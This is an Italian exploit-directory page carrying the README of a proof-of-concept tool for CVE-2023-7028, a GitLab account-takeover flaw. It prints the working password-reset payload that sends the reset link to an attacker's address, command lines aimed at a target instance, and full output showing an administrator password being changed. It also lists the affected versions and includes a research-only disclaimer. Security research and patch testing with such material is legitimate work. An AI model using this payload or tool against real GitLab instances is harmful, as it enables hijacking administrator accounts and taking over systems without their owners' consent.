Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-7028-Account-Take-Over-Gitlab — Proof-of-concept exploit per CVE-2023-7028, che automatizza il takeover dell'account GitLab tramite manipolazione dell'email di reset della password. Include integrazione con temp-mail e supporto per email personalizzata dell'attaccante. | Kitploit
Strumenti/GitHubGitHub/shimon03/cve-2023-7028-account-take-over-gitlab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed Teaming
GitHubshimon03/cve-2023-7028-account-take-over-gitlab

CVE-2023-7028-Account-Take-Over-Gitlab

Proof-of-concept exploit per CVE-2023-7028, che automatizza il takeover dell'account GitLab tramite manipolazione dell'email di reset della password. Include integrazione con temp-mail e supporto per email personalizzata dell'attaccante.

Vedi Repository
2 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-7028 | Account-Take-Over Gitlab

Disclaimer

Questo codice è una proof of concept della vulnerabilità, non incoraggio nessuno a usarlo su istanze gitlab di cui non si è proprietari.
Questo strumento è stato sviluppato solo a scopo di ricerca e didattico e non sarò ritenuto responsabile per qualsiasi uso tu possa farne.

Descrizione:

CVE-2023-7028 si riferisce a una vulnerabilità di Account-Take-Over che consente agli utenti di prendere il controllo dell'account amministratore di gitlab senza interazione da parte dell'utente.

La vulnerabilità risiede nella gestione delle email durante il reset delle password. Un attaccante può fornire 2 email e il codice di reset verrà inviato a entrambe.
È quindi possibile fornire l'indirizzo email dell'account target così come quello dell'attaccante, e resettare la password dell'amministratore.
(Gitlab sottolinea che l'autenticazione a due fattori previene lo sfruttamento di questa vulnerabilità, poiché un attaccante, anche dopo aver resettato la password, non sarà in grado di accedere.)

Questa vulnerabilità è stata scoperta da asterion04

Payload:

Ecco un esempio di payload

root@kitploit:~
user[email][][email protected]&user[email][][email protected]

POC:

Metodo 1: Utilizzo di una email temporanea
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected]

[DEBUG] Getting temporary mail
[DEBUG] Scrapping available domains on 1secmail.com
[DEBUG] 8 domains found
[DEBUG] Temporary mail: [email protected]
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = bc91lpzwTOaY9dg5SWjLvvDDb61j6ZunCX4DXYlSnWz9Y3zK35SPiLNShhrDrPVDgY_AzQjzpD5qVt2WXeolog
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
[DEBUG] Waiting mail, sleeping for 7.5 seconds
[DEBUG] Getting link using temp-mail | Try N°1 on 5
[DEBUG] Getting last mail for [email protected]
[DEBUG] 1 mail(s) found
[DEBUG] Reading the last one
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = RN6gypVz7Zxtu2zRsJmKPsDHNumIH_UPvdn7aQoWRBnUcqmW1hcu8kYcMvI6XbTDsYuZieMFypbe8SWi3q781w
[DEBUG] Changing password to l3mG2v2XN4UBzbN18ZkW
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: l3mG2v2XN4UBzbN18ZkW
Metodo 2: Utilizzo di una email malintenzionata
root@kitploit:~
python3 ./CVE-2023-7028.py -u https://gitlab.example.com/ -t [email protected] -e [email protected]

[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = 1Yt1EUeWSL-oiSV7v1Z6ghdCDG3w0FFCQB8Uc5B5GAodVNJ26OlPT8HtYYleGXB9F0otas3gnHOtRfhFall8pQ
[DEBUG] Sending reset password request
[DEBUG] Emails sended to [email protected] and [email protected] !
        Input link received by mail: https://gitlab.example.com/users/password/edit?reset_password_token=U8PSU7DXdebdTD3GjMiX
[DEBUG] Generating new password
[DEBUG] Getting authenticity_token ...
[DEBUG] authenticity_token = N7gs43C9ZMxdniA9UEzzfH2Rlhgejt75M1Kw88vaarP_Z4uE38JjPDT6ZM-xA_mDfZm3HyO-E8jeCFzFMfoOHA
[DEBUG] Changing password to EU7XIYjlawjb5tH2jgmU
[DEBUG] CVE_2023_7028 succeed !
        You can connect on https://gitlab.example.com/users/sign_in
        Username: [email protected]
        Password: EU7XIYjlawjb5tH2jgmU

Aiuto

root@kitploit:~
$ python3 .\CVE-2023-7028.py -h
usage: CVE-2023-7028.py [-h] -u URL -t TARGET [-e EVIL]

This tool automates CVE-2023-7028 on gitlab

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Gitlab url
  -t TARGET, --target TARGET
                        Target email
  -e EVIL, --evil EVIL  Evil email
  -p PASSWORD, --password PASSWORD
                        Password

Nota:

Senza l'opzione --evil, che specifica l'indirizzo email dell'attaccante, lo script utilizza una temp-mail pubblica per trovare il link di reset della password.
=> Prestare attenzione se questa poc viene utilizzata durante un pentest.

Versioni interessate

  • 16.1 to 16.1.5
  • 16.2 to 16.2.8
  • 16.3 to 16.3.6
  • 16.4 to 16.4.4
  • 16.5 to 16.5.5
  • 16.6 to 16.6.3
  • 16.7 to 16.7.1

Riferimenti:

  • https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/
  • https://docs.gitlab.com/ee/install/docker.html
  • https://www.cert.ssi.gouv.fr/avis/CERTFR-2024-AVI-0030/
Scarica lo strumento